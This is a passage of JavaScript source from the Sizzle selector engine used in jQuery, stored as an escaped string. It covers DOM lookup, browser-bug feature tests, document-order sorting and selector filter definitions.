{\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar node, i, elems,\n\t\t\t\t\telem = context.getElementById( id );\n\n\t\t\t\tif ( elem ) {\n\n\t\t\t\t\t// Verify the id attribute\n\t\t\t\t\tnode = elem.getAttributeNode(\"id\");\n\t\t\t\t\tif ( node && node.value === id ) {\n\t\t\t\t\t\treturn [ elem ];\n\t\t\t\t\t}\n\n\t\t\t\t\t// Fall back on getElementsByName\n\t\t\t\t\telems = context.getElementsByName( id );\n\t\t\t\t\ti = 0;\n\t\t\t\t\twhile ( (elem = elems[i++]) ) {\n\t\t\t\t\t\tnode = elem.getAttributeNode(\"id\");\n\t\t\t\t\t\tif ( node && node.value === id ) {\n\t\t\t\t\t\t\treturn [ elem ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn [];\n\t\t\t}\n\t\t};\n\t}\n\n\t// Tag\n\tExpr.find[\"TAG\"] = support.getElementsByTagName ?\n\t\tfunction( tag, context ) {\n\t\t\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\t\t\treturn context.getElementsByTagName( tag );\n\n\t\t\t// DocumentFragment nodes don't have gEBTN\n\t\t\t} else if ( support.qsa ) {\n\t\t\t\treturn context.querySelectorAll( tag );\n\t\t\t}\n\t\t} :\n\n\t\tfunction( tag, context ) {\n\t\t\tvar elem,\n\t\t\t\ttmp = [],\n\t\t\t\ti = 0,\n\t\t\t\t// By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too\n\t\t\t\tresults = context.getElementsByTagName( tag );\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( tag === \"*\" ) {\n\t\t\t\twhile ( (elem = results[i++]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn tmp;\n\t\t\t}\n\t\t\treturn results;\n\t\t};\n\n\t// Class\n\tExpr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) {\n\t\t\treturn context.getElementsByClassName( className );\n\t\t}\n\t};\n\n\t/* QSA/matchesSelector\n\t---------------------------------------------------------------------- */\n\n\t// QSA and matchesSelector support\n\n\t// matchesSelector(:active) reports false when true (IE9/Opera 11.5)\n\trbuggyMatches = [];\n\n\t// qSa(:focus) reports false when true (Chrome 21)\n\t// We allow this because of a bug in IE8/9 that throws an error\n\t// whenever `document.activeElement` is accessed on an iframe\n\t// So, we allow :focus to pass through QSA all the time to avoid the IE error\n\t// See https://bugs.jquery.com/ticket/13378\n\trbuggyQSA = [];\n\n\tif ( (support.qsa = rnative.test( document.querySelectorAll )) ) {\n\t\t// Build QSA regex\n\t\t// Regex strategy adopted from Diego Perini\n\t\tassert(function( el ) {\n\t\t\t// Select is set to empty string on purpose\n\t\t\t// This is to test IE's treatment of not explicitly\n\t\t\t// setting a boolean content attribute,\n\t\t\t// since its presence should be enough\n\t\t\t// https://bugs.jquery.com/ticket/12359\n\t\t\tdocElem.appendChild( el ).innerHTML = \"<a id='\" + expando + \"'></a>\" +\n\t\t\t\t\"<select id='\" + expando + \"-\\r\\\\' msallowcapture=''>\" +\n\t\t\t\t\"<option selected=''></option></select>\";\n\n\t\t\t// Support: IE8, Opera 11-12.16\n\t\t\t// Nothing should be selected when empty strings follow ^= or $= or *=\n\t\t\t// The test attribute must be unknown in Opera but \"safe\" for WinRT\n\t\t\t// https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section\n\t\t\tif ( el.querySelectorAll(\"[msallowcapture^='']\").length ) {\n\t\t\t\trbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:''|\\\"\\\")\" );\n\t\t\t}\n\n\t\t\t// Support: IE8\n\t\t\t// Boolean attributes and \"value\" are not treated correctly\n\t\t\tif ( !el.querySelectorAll(\"[selected]\").length ) {\n\t\t\t\trbuggyQSA.push( \"\\\\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );\n\t\t\t}\n\n\t\t\t// Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+\n\t\t\tif ( !el.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) {\n\t\t\t\trbuggyQSA.push(\"~=\");\n\t\t\t}\n\n\t\t\t// Webkit/Opera - :checked should return selected option elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( !el.querySelectorAll(\":checked\").length ) {\n\t\t\t\trbuggyQSA.push(\":checked\");\n\t\t\t}\n\n\t\t\t// Support: Safari 8+, iOS 8+\n\t\t\t// https://bugs.webkit.org/show_bug.cgi?id=136851\n\t\t\t// In-page `selector#id sibling-combinator selector` fails\n\t\t\tif ( !el.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) {\n\t\t\t\trbuggyQSA.push(\".#.+[+~]\");\n\t\t\t}\n\t\t});\n\n\t\tassert(function( el ) {\n\t\t\tel.innerHTML = \"<a href='' disabled='disabled'></a>\" +\n\t\t\t\t\"<select disabled='disabled'><option/></select>\";\n\n\t\t\t// Support: Windows 8 Native Apps\n\t\t\t// The type and name attributes are restricted during .innerHTML assignment\n\t\t\tvar input = document.createElement(\"input\");\n\t\t\tinput.setAttribute( \"type\", \"hidden\" );\n\t\t\tel.appendChild( input ).setAttribute( \"name\", \"D\" );\n\n\t\t\t// Support: IE8\n\t\t\t// Enforce case-sensitivity of name attribute\n\t\t\tif ( el.querySelectorAll(\"[name=d]\").length ) {\n\t\t\t\trbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );\n\t\t\t}\n\n\t\t\t// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( el.querySelectorAll(\":enabled\").length !== 2 ) {\n\t\t\t\trbuggyQSA.push( \":enabled\", \":disabled\" );\n\t\t\t}\n\n\t\t\t// Support: IE9-11+\n\t\t\t// IE's :disabled selector does not pick up the children of disabled fieldsets\n\t\t\tdocElem.appendChild( el ).disabled = true;\n\t\t\tif ( el.querySelectorAll(\":disabled\").length !== 2 ) {\n\t\t\t\trbuggyQSA.push( \":enabled\", \":disabled\" );\n\t\t\t}\n\n\t\t\t// Opera 10-11 does not throw on post-comma invalid pseudos\n\t\t\tel.querySelectorAll(\"*,:x\");\n\t\t\trbuggyQSA.push(\",.*:\");\n\t\t});\n\t}\n\n\tif ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||\n\t\tdocElem.webkitMatchesSelector ||\n\t\tdocElem.mozMatchesSelector ||\n\t\tdocElem.oMatchesSelector ||\n\t\tdocElem.msMatchesSelector) )) ) {\n\n\t\tassert(function( el ) {\n\t\t\t// Check to see if it's possible to do matchesSelector\n\t\t\t// on a disconnected node (IE 9)\n\t\t\tsupport.disconnectedMatch = matches.call( el, \"*\" );\n\n\t\t\t// This should fail with an exception\n\t\t\t// Gecko does not error, returns false instead\n\t\t\tmatches.call( el, \"[s!='']:x\" );\n\t\t\trbuggyMatches.push( \"!=\", pseudos );\n\t\t});\n\t}\n\n\trbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join(\"|\") );\n\trbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join(\"|\") );\n\n\t/* Contains\n\t---------------------------------------------------------------------- */\n\thasCompare = rnative.test( docElem.compareDocumentPosition );\n\n\t// Element contains another\n\t// Purposefully self-exclusive\n\t// As in, an element does not contain itself\n\tcontains = hasCompare || rnative.test( docElem.contains ) ?\n\t\tfunction( a, b ) {\n\t\t\tvar adown = a.nodeType === 9 ? a.documentElement : a,\n\t\t\t\tbup = b && b.parentNode;\n\t\t\treturn a === bup || !!( bup && bup.nodeType === 1 && (\n\t\t\t\tadown.contains ?\n\t\t\t\t\tadown.contains( bup ) :\n\t\t\t\t\ta.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16\n\t\t\t));\n\t\t} :\n\t\tfunction( a, b ) {\n\t\t\tif ( b ) {\n\t\t\t\twhile ( (b = b.parentNode) ) {\n\t\t\t\t\tif ( b === a ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n\n\t/* Sorting\n\t---------------------------------------------------------------------- */\n\n\t// Document order sorting\n\tsortOrder = hasCompare ?\n\tfunction( a, b ) {\n\n\t\t// Flag for duplicate removal\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\t// Sort on method existence if only one input has compareDocumentPosition\n\t\tvar compare = !a.compareDocumentPosition - !b.compareDocumentPosition;\n\t\tif ( compare ) {\n\t\t\treturn compare;\n\t\t}\n\n\t\t// Calculate position if both inputs belong to the same document\n\t\tcompare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?\n\t\t\ta.compareDocumentPosition( b ) :\n\n\t\t\t// Otherwise we know they are disconnected\n\t\t\t1;\n\n\t\t// Disconnected nodes\n\t\tif ( compare & 1 ||\n\t\t\t(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {\n\n\t\t\t// Choose the first element that is related to our preferred document\n\t\t\tif ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\t// Maintain original order\n\t\t\treturn sortInput ?\n\t\t\t\t( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n\t\t\t\t0;\n\t\t}\n\n\t\treturn compare & 4 ? -1 : 1;\n\t} :\n\tfunction( a, b ) {\n\t\t// Exit early if the nodes are identical\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\taup = a.parentNode,\n\t\t\tbup = b.parentNode,\n\t\t\tap = [ a ],\n\t\t\tbp = [ b ];\n\n\t\t// Parentless nodes are either documents or disconnected\n\t\tif ( !aup || !bup ) {\n\t\t\treturn a === document ? -1 :\n\t\t\t\tb === document ? 1 :\n\t\t\t\taup ? -1 :\n\t\t\t\tbup ? 1 :\n\t\t\t\tsortInput ?\n\t\t\t\t( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n\t\t\t\t0;\n\n\t\t// If the nodes are siblings, we can do a quick check\n\t\t} else if ( aup === bup ) {\n\t\t\treturn siblingCheck( a, b );\n\t\t}\n\n\t\t// Otherwise we need full lists of their ancestors for comparison\n\t\tcur = a;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tap.unshift( cur );\n\t\t}\n\t\tcur = b;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tbp.unshift( cur );\n\t\t}\n\n\t\t// Walk down the tree looking for a discrepancy\n\t\twhile ( ap[i] === bp[i] ) {\n\t\t\ti++;\n\t\t}\n\n\t\treturn i ?\n\t\t\t// Do a sibling check if the nodes have a common ancestor\n\t\t\tsiblingCheck( ap[i], bp[i] ) :\n\n\t\t\t// Otherwise nodes in our document sort first\n\t\t\tap[i] === preferredDoc ? -1 :\n\t\t\tbp[i] === preferredDoc ? 1 :\n\t\t\t0;\n\t};\n\n\treturn document;\n};\n\nSizzle.matches = function( expr, elements ) {\n\treturn Sizzle( expr, null, null, elements );\n};\n\nSizzle.matchesSelector = function( elem, expr ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\t// Make sure that attribute selectors are quoted\n\texpr = expr.replace( rattributeQuotes, \"='$1']\" );\n\n\tif ( support.matchesSelector && documentIsHTML &&\n\t\t!compilerCache[ expr + \" \" ] &&\n\t\t( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&\n\t\t( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {\n\n\t\ttry {\n\t\t\tvar ret = matches.call( elem, expr );\n\n\t\t\t// IE 9's matchesSelector returns false on disconnected nodes\n\t\t\tif ( ret || support.disconnectedMatch ||\n\t\t\t\t\t// As well, disconnected nodes are said to be in a document\n\t\t\t\t\t// fragment in IE 9\n\t\t\t\t\telem.document && elem.document.nodeType !== 11 ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t} catch (e) {}\n\t}\n\n\treturn Sizzle( expr, document, null, [ elem ] ).length > 0;\n};\n\nSizzle.contains = function( context, elem ) {\n\t// Set document vars if needed\n\tif ( ( context.ownerDocument || context ) !== document ) {\n\t\tsetDocument( context );\n\t}\n\treturn contains( context, elem );\n};\n\nSizzle.attr = function( elem, name ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\tvar fn = Expr.attrHandle[ name.toLowerCase() ],\n\t\t// Don't get fooled by Object.prototype properties (jQuery #13807)\n\t\tval = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?\n\t\t\tfn( elem, name, !documentIsHTML ) :\n\t\t\tundefined;\n\n\treturn val !== undefined ?\n\t\tval :\n\t\tsupport.attributes || !documentIsHTML ?\n\t\t\telem.getAttribute( name ) :\n\t\t\t(val = elem.getAttributeNode(name)) && val.specified ?\n\t\t\t\tval.value :\n\t\t\t\tnull;\n};\n\nSizzle.escape = function( sel ) {\n\treturn (sel + \"\").replace( rcssescape, fcssescape );\n};\n\nSizzle.error = function( msg ) {\n\tthrow new Error( \"Syntax error, unrecognized expression: \" + msg );\n};\n\n/**\n * Document sorting and removing duplicates\n * @param {ArrayLike} results\n */\nSizzle.uniqueSort = function( results ) {\n\tvar elem,\n\t\tduplicates = [],\n\t\tj = 0,\n\t\ti = 0;\n\n\t// Unless we *know* we can detect duplicates, assume their presence\n\thasDuplicate = !support.detectDuplicates;\n\tsortInput = !support.sortStable && results.slice( 0 );\n\tresults.sort( sortOrder );\n\n\tif ( hasDuplicate ) {\n\t\twhile ( (elem = results[i++]) ) {\n\t\t\tif ( elem === results[ i ] ) {\n\t\t\t\tj = duplicates.push( i );\n\t\t\t}\n\t\t}\n\t\twhile ( j-- ) {\n\t\t\tresults.splice( duplicates[ j ], 1 );\n\t\t}\n\t}\n\n\t// Clear input after sorting to release objects\n\t// See https://github.com/jquery/sizzle/pull/225\n\tsortInput = null;\n\n\treturn results;\n};\n\n/**\n * Utility function for retrieving the text value of an array of DOM nodes\n * @param {Array|Element} elem\n */\ngetText = Sizzle.getText = function( elem ) {\n\tvar node,\n\t\tret = \"\",\n\t\ti = 0,\n\t\tnodeType = elem.nodeType;\n\n\tif ( !nodeType ) {\n\t\t// If no nodeType, this is expected to be an array\n\t\twhile ( (node = elem[i++]) ) {\n\t\t\t// Do not traverse comment nodes\n\t\t\tret += getText( node );\n\t\t}\n\t} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {\n\t\t// Use textContent for elements\n\t\t// innerText usage removed for consistency of new lines (jQuery #11153)\n\t\tif ( typeof elem.textContent === \"string\" ) {\n\t\t\treturn elem.textContent;\n\t\t} else {\n\t\t\t// Traverse its children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tret += getText( elem );\n\t\t\t}\n\t\t}\n\t} else if ( nodeType === 3 || nodeType === 4 ) {\n\t\treturn elem.nodeValue;\n\t}\n\t// Do not include comment or processing instruction nodes\n\n\treturn ret;\n};\n\nExpr = Sizzle.selectors = {\n\n\t// Can be adjusted by the user\n\tcacheLength: 50,\n\n\tcreatePseudo: markFunction,\n\n\tmatch: matchExpr,\n\n\tattrHandle: {},\n\n\tfind: {},\n\n\trelative: {\n\t\t\">\": { dir: \"parentNode\", first: true },\n\t\t\" \": { dir: \"parentNode\" },\n\t\t\"+\": { dir: \"previousSibling\", first: true },\n\t\t\"~\": { dir: \"previousSibling\" }\n\t},\n\n\tpreFilter: {\n\t\t\"ATTR\": function( match ) {\n\t\t\tmatch[1] = match[1].replace( runescape, funescape );\n\n\t\t\t// Move the given value to match[3] whether quoted or unquoted\n\t\t\tmatch[3] = ( match[3] || match[4] || match[5] || \"\" ).replace( runescape, funescape );\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[3] = \" \" + match[3] + \" \";\n\t\t\t}\n\n\t\t\treturn match.slice( 0, 4 );\n\t\t},\n\n\t\t\"CHILD\": function( match ) {\n\t\t\t/* matches from matchExpr[\"CHILD\"]\n\t\t\t\t1 type (only|nth|...)\n\t\t\t\t2 what (child|of-type)\n\t\t\t\t3 argument (even|odd|\\d*|\\d*n([+-]\\d+)?|...)\n\t\t\t\t4 xn-component of xn+y argument ([+-]?\\d*n|)\n\t\t\t\t5 sign of xn-component\n\t\t\t\t6 x of xn-component\n\t\t\t\t7 sign of y-component\n\t\t\t\t8 y of y-component\n\t\t\t*/\n\t\t\tmatch[1] = match[1].toLowerCase();\n\n\t\t\tif ( match[1].slice( 0, 3 ) === \"nth\" ) {\n\t\t\t\t// nth-* requires argument\n\t\t\t\tif ( !match[3] ) {\n\t\t\t\t\tSizzle.error( match[0] );\n\t\t\t\t}\n\n\t\t\t\t// numeric x and y parameters for Expr.filter.CHILD\n\t\t\t\t// remember that false/true cast respectively to 0/1\n\t\t\t\tmatch[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === \"even\" || match[3] === \"odd\" ) );\n\t\t\t\tmatch[5] = +( ( match[7] + match[8] ) || match[3] === \"odd\" );\n\n\t\t\t// other types prohibit arguments\n\t\t\t} else if ( match[3] ) {\n\t\t\t\tSizzle.error( match[0] );\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\t\"PSEUDO\": function( match ) {\n\t\t\tvar excess,\n\t\t\t\tunquoted = !match[6] && match[2];\n\n\t\t\tif ( matchExpr[\"CHILD\"].test( match[0] ) ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t// Accept quoted arguments as-is\n\t\t\tif ( match[3] ) {\n\t\t\t\tmatch[2] = match[4] || match[5] || \"\";\n\n\t\t\t// Strip excess characters from unquoted arguments\n\t\t\t} else if ( unquoted && rpseudo.test( unquoted ) &&\n\t\t\t\t// Get excess from tokenize (recursively)\n\t\t\t\t(excess = tokenize( unquoted, true )) &&\n\t\t\t\t// advance to the next closing parenthesis\n\t\t\t\t(excess = unquoted.indexOf( \")\", unquoted.length - excess ) - unquoted.length) ) {\n\n\t\t\t\t// excess is a negative index\n\t\t\t\tmatch[0] = match[0].slice( 0, excess );\n\t\t\t\tmatch[2] = unquoted.slice( 0, excess );\n\t\t\t}\n\n\t\t\t// Return only captures needed by the pseudo filter method (type and argument)\n\t\t\treturn match.slice( 0, 3 );\n\t\t}\n\t},\n\n\tfilter: {\n\n\t\t\"TAG\": function( nodeNameSelector ) {\n\t\t\tvar nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn nodeNameSelector === \"*\" ?\n\t\t\t\tfunction() { return true; } :\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === nodeName;\n\t\t\t\t};\n\t\t},\n\n\t\t\"CLASS\": function( className ) {\n\t\t\tvar pattern = classCache[ className + \" \" ];\n\n\t\t\treturn pattern ||\n\t\t\t\t(pattern = new RegExp( \"(^|\" + whitespace + \")\" + className + \"(\" + whitespace + \"|$)\" )) &&\n\t\t\t\tclassCache( className, function( elem ) {\n\t\t\t\t\treturn pattern.test( typeof elem.className === \"string\" && elem.className || typeof elem.getAttribute !== \"undefined\" && elem.getAttribute(\"class\") || \"\" );\n\t\t\t\t});\n\t\t},\n\n\t\t\"ATTR\": function( name, operator, check ) {\n\t\t\treturn function( elem ) {\n\t\t\t\tvar result = Sizzle.attr( elem, name );\n\n\t\t\t\tif ( result == null ) {\n\t\t\t\t\treturn operator === \"!=\";\n\t\t\t\t}\n\t\t\t\tif ( !operator ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\tresult += \"\";\n\n\t\t\t\treturn operator === \"=\" ? result === check :\n\t\t\t\t\toperator === \"!=\" ? result !== check :\n\t\t\t\t\toperator === \"^=\" ? check && result.indexOf( check ) === 0 :\n\t\t\t\t\toperator === \"*=\" ? check && result.indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"$=\" ? check && result.slice( -check.length ) === check :\n\t\t\t\t\toperator === \"~=\" ? ( \" \" + result.replace( rwhitespace, \" \" ) + \" \" ).indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"|=\" ? result === check || result.slice( 0, check.length + 1 ) === check + \"-\" :\n\t\t\t\t\tfalse;\n\t\t\t};\n\t\t},\n\n\t\t\"CHILD\": function( type, what, argument, first, last ) {\n\t\t\tvar simple = type.slice( 0, 3 ) !== \"nth\",\n\t\t\t\tforward = type.slice( -4 ) !== \"last\",\n\t\t\t\tofType = what === \"of-type\";\n\n\t\t\treturn first === 1 && last === 0 ?\n\n\t\t\t\t// Shortcut for :nth-*(n)\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn !!elem.parentNode;\n\t\t\t\t} :\n\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tvar cache, uniqueCache, outerCache, node, nodeIndex, start,\n\t\t\t\t\t\tdir = simple !== forward ? \"nextSibling\" : \"previousSibling\",\n\t\t\t\t\t\tparent = elem.parentNode,\n\t\t\t\t\t\tname = ofType && elem.nodeName.toLowerCase(),\n\t\t\t\t\t\tuseCache = !xml && !ofType,\n\t\t\t\t\t\tdiff = false;\n\n\t\t\t\t\tif ( parent ) {\n\n\t\t\t\t\t\t// :(first|last|only)-(child|of-type)\n\t\t\t\t\t\tif ( simple ) {\n\t\t\t\t\t\t\twhile ( dir ) {\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\twhile ( (node = node[ dir ]) ) {\n\t\t\t\t\t\t\t\t\tif ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnode.nodeName.toLowerCase() === name :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) {\n\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// Reverse direction for :only-* (if we haven't yet done so)\n\t\t\t\t\t\t\t\tstart = dir = type === \"only\" && !start && \"nextSibling\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tstart = [ forward ? parent.firstChild : parent.lastChild ];\n\n\t\t\t\t\t\t// non-xml :nth-child(...) stores cache data on `parent`\n\t\t\t\t\t\tif ( forward && useCache ) {\n\n\t\t\t\t\t\t\t// Seek `elem` from a previously-cached index\n\n\t\t\t\t\t\t\t// ...in a gzip-friendly way\n\t\t\t\t\t\t\tnode = parent;\n\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\tcache = uniqueCache[ type ] || [];\n\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\tdiff = nodeIndex && cache[ 2 ];\n\t\t\t\t\t\t\tnode = nodeIndex && parent.childNodes[ nodeIndex ];\n\n\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\n\t\t\t\t\t\t\t\t// Fallback to seeking `elem` from the start\n\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\t// When found, cache indexes on `parent` and break\n\t\t\t\t\t\t\t\tif ( node.nodeType === 1 && ++diff && node === elem ) {\n\t\t\t\t\t\t\t\t\tuniqueCache[ type ] = [ dirruns, nodeIndex, diff ];\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Use previously-cached element index if available\n\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t// ...in a gzip-friendly way\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\t\tcache = uniqueCache[ type ] || [];\n\t\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\t\tdiff = nodeIndex;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// xml :nth-child(...)\n\t\t\t\t\t\t\t// or :nth-last-child(...) or :nth(-last)?-of-type(...)\n\t\t\t\t\t\t\tif ( diff === false ) {\n\t\t\t\t\t\t\t\t// Use the same loop as above to seek `elem` from the start\n\t\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\t\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\t\tif ( ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnode.nodeName.toLowerCase() === name :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) &&\n\t\t\t\t\t\t\t\t\t\t++diff ) {\n\n\t\t\t\t\t\t\t\t\t\t// Cache the index of each encountered element\n\t\t\t\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\t\t\t\t\tuniqueCache[ type ] = [ dirruns, diff ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif ( node === elem ) {\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Incorporate the offset, then check against cycle size\n\t\t\t\t\t\tdiff -= last;\n\t\t\t\t\t\treturn diff === first || ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t},\n\n\t\t\"PSEUDO\": function( pseudo, argument ) {\n\t\t\t// pseudo-class names are case-insensitive\n\t\t\t// http://www.w3.org/TR/selectors/#pseudo-classes\n\t\t\t// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters\n\t\t\t// Remember that setFilters inherits from pseudos\n\t\t\tvar args,\n\t\t\t\tfn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||\n\t\t\t\t\tSizzle.error( \"unsupported pseudo: \" + pseudo );\n\n\t\t\t// The user may use createPseudo to indicate that\n\t\t\t// arguments are needed to create the filter function\n\t\t\t// just as Sizzle does\n\t\t\tif ( fn[ expando ] ) {\n\t\t\t\treturn fn( argument );\n\t\t\t}\n\n\t\t\t// But maintain support for old signatures\n\t\t\tif ( fn.length > 1 ) {\n\t\t\t\targs = [ pseudo, pseudo, \"\", argument ];\n\t\t\t\treturn Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?\n\t\t\t\t\tmarkFunction(function( seed, matches ) {\n\t\t\t\t\t\tvar idx,\n\t\t\t\t\t\t\tmatched = fn( seed, argument ),\n\t\t\t\t\t\t\ti = matched.length;\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tidx = indexOf( seed, matched[i] );\n\t\t\t\t\t\t\tseed[ idx ] = !( matches[ idx ] = matched[i] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}) :\n\t\t\t\t\tfunction( elem ) {\n\t\t\t\t\t\treturn fn( elem, 0, args );\n\t\t\t\t\t};\n\t\t\t}\n\n\t\t\treturn fn;\n\t\t}\n\t},\n\n\tpseudos: {\n\t\t// Potentially complex pseudos\n\t\t\"not\": markFunction(function( selector ) {\n\t\t\t// Trim the selector passed to compile\n\t\t\t// to avoid treating leading and trailing\n\t\t\t// spaces as combinators\n\t\t\tvar input = [],\n\t\t\t\tresults = [],\n\t\t\t\tmatcher = compile( selector.replace( rtrim, \"$1\" ) );\n\n\t\t\treturn matcher[ expando ] ?\n\t\t\t\tmarkFunction(function( seed, matches, context, xml ) {\n\t\t\t\t\tvar elem,\n\t\t\t\t\t\tunmatched = matcher( seed, null, xml, [] ),\n\t\t\t\t\t\ti = seed.length;\n\n\t\t\t\t\t// Match elements unmatched by `matcher`\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = unmatched[i]) ) 